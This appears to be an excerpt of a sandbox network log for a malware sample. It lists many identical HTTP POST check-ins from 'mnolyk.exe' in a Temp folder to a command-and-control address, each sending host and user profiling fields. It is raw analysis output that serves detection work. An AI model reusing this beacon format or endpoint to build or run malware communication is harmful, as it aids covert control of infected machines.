Feb 8, 2023 21:33:34.906968117 CET	664	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:34.971366882 CET	664	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
465	192.168.2.3	50168	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:35.170140028 CET	665	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:35.236284018 CET	665	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
466	192.168.2.3	50169	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:35.407766104 CET	666	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:35.471579075 CET	666	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
467	192.168.2.3	50170	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:35.646859884 CET	667	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:35.710107088 CET	667	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
468	192.168.2.3	50171	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:35.892858028 CET	668	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:35.958611012 CET	668	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
469	192.168.2.3	50172	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:36.146003008 CET	669	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:36.212770939 CET	669	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.3	49749	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:28.419019938 CET	248	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:28.485996962 CET	248	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
470	192.168.2.3	50173	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:36.396312952 CET	670	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:36.461721897 CET	670	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
471	192.168.2.3	50174	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:36.644072056 CET	671	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:36.708138943 CET	671	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
472	192.168.2.3	50175	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:36.875659943 CET	672	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:36.942636967 CET	672	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
473	192.168.2.3	50176	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:37.109603882 CET	673	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:37.178168058 CET	673	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
474	192.168.2.3	50177	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:37.364650965 CET	674	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:37.431649923 CET	674	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
475	192.168.2.3	50178	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:37.609951019 CET	675	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:37.674874067 CET	675	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
476	192.168.2.3	50179	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:37.860729933 CET	676	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:37.925077915 CET	676	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
477	192.168.2.3	50180	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:38.094943047 CET	677	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:38.160731077 CET	677	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
478	192.168.2.3	50181	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:38.330595970 CET	678	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:38.395766973 CET	678	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
479	192.168.2.3	50182	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:38.560889959 CET	679	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:38.623030901 CET	679	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.3	49750	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:28.669504881 CET	249	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:28.733625889 CET	249	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
480	192.168.2.3	50183	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:38.796160936 CET	680	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:38.859824896 CET	680	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
481	192.168.2.3	50184	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:39.029652119 CET	681	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:39.094435930 CET	681	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
482	192.168.2.3	50185	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:39.263108015 CET	682	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:39.326050043 CET	682	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
483	192.168.2.3	50186	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:39.504951000 CET	683	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:39.570188999 CET	683	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
484	192.168.2.3	50187	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
